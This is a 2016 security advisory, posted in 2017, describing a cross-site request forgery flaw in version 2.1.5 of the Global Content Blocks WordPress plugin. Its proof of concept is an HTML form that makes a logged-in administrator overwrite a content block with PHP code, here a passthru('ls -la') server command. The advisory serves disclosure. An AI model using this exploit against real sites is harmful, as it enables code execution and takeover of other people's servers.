WordPress Global Content Blocks 2.1.5 Cross Site Request Forgery
Posted on 03 March 2017
------------------------------------------------------------------------ Cross-Site Request Forgery in Global Content Blocks WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that the Global Content Blocks WordPress Plugin is vulnerable to Cross-Site Request Forgery. Amongst others, this issue can be used to update a content block to overwrite it with arbitrary PHP code. Visiting a page or blog post that uses this content block will cause the attacker's PHP code to be executed. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0031 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Global Content Blocks WordPress Plugin version 2.1.5. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_global_content_blocks_wordpress_plugin.html The issue exists due to the fact that Global Content Blocks does not use the Cross-Site Request Forgery protection provided by WordPress. Actions with Global Content Blocks have a predictable format, thus an attacker can forge a request that can be executed by a logged in Administrator. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. Proof of concept The following proof of concept will update/overwrite the content block with id 1. In order to run the attacker's PHP code, a page/blog needs to be viewed that contains this content block (eg, [contentblock id=1]). <html> <body> <form action="http://<target>/wp-admin/options-general.php?page=global-content-blocks" method="POST"> <input type="hidden" name="gcb_view" value="update" /> <input type="hidden" name="update_it" value="1" /> <input type="hidden" name="gcb_name" value="Foo" /> <input type="hidden" name="gcb_custom_id" value="" /> <input type="hidden" name="gcb_type" value="php" /> <input type="hidden" name="gcb_description" value="" /> <input type="hidden" name="gcbvalue" value="passthru('ls -la');" /> <input type="hidden" name="gcb_updateshortcode" value="Update" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
